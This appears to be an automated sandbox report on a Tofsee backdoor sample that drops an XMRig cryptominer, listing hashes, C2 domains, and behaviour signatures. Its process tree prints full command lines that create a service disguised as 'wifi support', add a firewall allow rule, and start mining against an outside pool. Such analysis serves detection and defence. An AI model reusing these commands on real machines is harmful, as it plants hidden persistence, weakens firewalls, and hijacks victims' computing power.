Analysis

  • max time kernel
    173s
  • max time network
    178s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 22:32

General

  • Target

    7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe

  • Size

    146KB

  • MD5

    edeb8cf6ad50b2189148305da1711683

  • SHA1

    a5843da9541016d02e3daf537a3781c9dac0716c

  • SHA256

    7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396

  • SHA512

    8cf6653627e3dcf78d45d12edd93ed27fc052534d4731c6695e4cc6ce7d271aa7f02a94ea5b70c8783c62c4bf4d334681b19213aede987f597558be0dd8be8fa

  • SSDEEP

    3072:AVt0N0vO/6B9v5qJO1POmehbsM6FGUuBi:G9O/6BKJOBe7c78

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe
    "C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4408
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ryszvzqm\
      2⤵
        PID:4904
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lbhotfjy.exe" C:\Windows\SysWOW64\ryszvzqm\
        2⤵
          PID:3396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ryszvzqm binPath= "C:\Windows\SysWOW64\ryszvzqm\lbhotfjy.exe /d\"C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ryszvzqm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ryszvzqm
          2⤵
          • Launches sc.exe
          PID:1436
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:484
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 1096
          2⤵
          • Program crash
          PID:220
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4408 -ip 4408
        1⤵
          PID:4132
        • C:\Windows\SysWOW64\ryszvzqm\lbhotfjy.exe
          C:\Windows\SysWOW64\ryszvzqm\lbhotfjy.exe /d"C:\Users\Admin\AppData\Local\Temp\7d3519a3112bac6d47e4a28afa93765ad0fe109d3e203f1f07dfcf8fb84b2396.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1960
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4728
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3636
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1960 -s 512
            2⤵
            • Program crash
            PID:3556
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1960 -ip 1960
          1⤵
            PID:3776

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lbhotfjy.exe
            Filesize

            13.4MB

            MD5

            f8efa7c05c6a21820cb89628d98ea0b0

            SHA1

            07a968c60b141c4d3b159ee10b2d3fa963226812

            SHA256

            48bbe85d8c2519ac356e8bd5d9ae7a499ba6c1395f848145d93ae2409efbba3d

            SHA512

            a6c048c495ae330cb1a0b19c8d42c34b3ec9b7597e3a44a48f0370f3a88e84c0278130c1d85233b70d2a0aea6336631c82d1efc2078139bf3d82b958284d4b8c

          • C:\Windows\SysWOW64\ryszvzqm\lbhotfjy.exe
            Filesize

            13.4MB

            MD5

            f8efa7c05c6a21820cb89628d98ea0b0

            SHA1

            07a968c60b141c4d3b159ee10b2d3fa963226812

            SHA256

            48bbe85d8c2519ac356e8bd5d9ae7a499ba6c1395f848145d93ae2409efbba3d

            SHA512

            a6c048c495ae330cb1a0b19c8d42c34b3ec9b7597e3a44a48f0370f3a88e84c0278130c1d85233b70d2a0aea6336631c82d1efc2078139bf3d82b958284d4b8c

          • memory/484-141-0x0000000000000000-mapping.dmp
          • memory/1436-140-0x0000000000000000-mapping.dmp
          • memory/1960-150-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/1960-148-0x0000000000CD8000-0x0000000000CE9000-memory.dmp
            Filesize

            68KB

          • memory/2000-139-0x0000000000000000-mapping.dmp
          • memory/3396-136-0x0000000000000000-mapping.dmp
          • memory/3636-170-0x0000000000000000-mapping.dmp
          • memory/3636-176-0x0000000000880000-0x0000000000971000-memory.dmp
            Filesize

            964KB

          • memory/3636-171-0x0000000000880000-0x0000000000971000-memory.dmp
            Filesize

            964KB

          • memory/4408-143-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/4408-132-0x0000000000BEE000-0x0000000000BFE000-memory.dmp
            Filesize

            64KB

          • memory/4408-134-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/4408-133-0x0000000000BA0000-0x0000000000BB3000-memory.dmp
            Filesize

            76KB

          • memory/4716-138-0x0000000000000000-mapping.dmp
          • memory/4728-144-0x0000000000000000-mapping.dmp
          • memory/4728-151-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/4728-152-0x0000000002140000-0x000000000234F000-memory.dmp
            Filesize

            2.1MB

          • memory/4728-155-0x00000000017D0000-0x00000000017D6000-memory.dmp
            Filesize

            24KB

          • memory/4728-158-0x00000000017E0000-0x00000000017F0000-memory.dmp
            Filesize

            64KB

          • memory/4728-161-0x00000000017F0000-0x00000000017F5000-memory.dmp
            Filesize

            20KB

          • memory/4728-164-0x0000000007180000-0x000000000758B000-memory.dmp
            Filesize

            4.0MB

          • memory/4728-167-0x00000000025D0000-0x00000000025D7000-memory.dmp
            Filesize

            28KB

          • memory/4728-149-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/4728-145-0x0000000000150000-0x0000000000165000-memory.dmp
            Filesize

            84KB

          • memory/4904-135-0x0000000000000000-mapping.dmp